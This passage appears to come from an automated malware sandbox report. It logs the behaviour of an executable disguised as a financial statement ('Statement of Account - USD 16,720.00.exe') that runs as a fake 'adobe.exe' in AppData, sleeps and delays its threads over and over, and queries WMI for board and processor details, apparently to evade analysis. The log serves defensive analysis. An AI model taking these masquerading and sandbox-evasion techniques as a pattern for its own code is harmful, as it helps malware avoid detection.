Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597999s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597778s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597452s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597323s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -597093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596874s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596654s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595999s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595388s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595274s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595130s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -594781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -594671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -594562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -594453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3228	Thread sleep time: -594341s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3712	Thread sleep count: 4279 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599889s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 3712	Thread sleep count: 5537 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598905s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598796s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598466s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -598029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -597921s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -597735s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -597617s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -597479s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -597076s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596968s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596749s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596421s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -596093s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595984s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595874s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595765s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595546s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595218s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595109s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -595000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -594890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -594740s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -594604s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -594315s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -594187s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -594078s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -593968s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -593859s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -593750s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -593640s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -593531s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe TID: 1996	Thread sleep time: -593421s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599419	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 599092	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598985	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598641	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598406	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598297	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598188	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 598063	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597660	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 597000	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596327	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595310	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594648	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594203	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 594092	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\Statement of Account - USD 16,720.00.exe	Thread delayed: delay time: 593860	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599124	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598338	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597999	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597778	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597452	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597323	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597093	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596874	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596654	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595999	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595388	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595274	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595130	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 594341	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599889	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598796	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598466	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 598029	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597735	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597617	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597479	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 597076	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596749	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596203	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 596093	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595984	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595874	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595656	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595546	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe\adobe.exe	Thread delayed: delay time: 595328	Jump to behavior
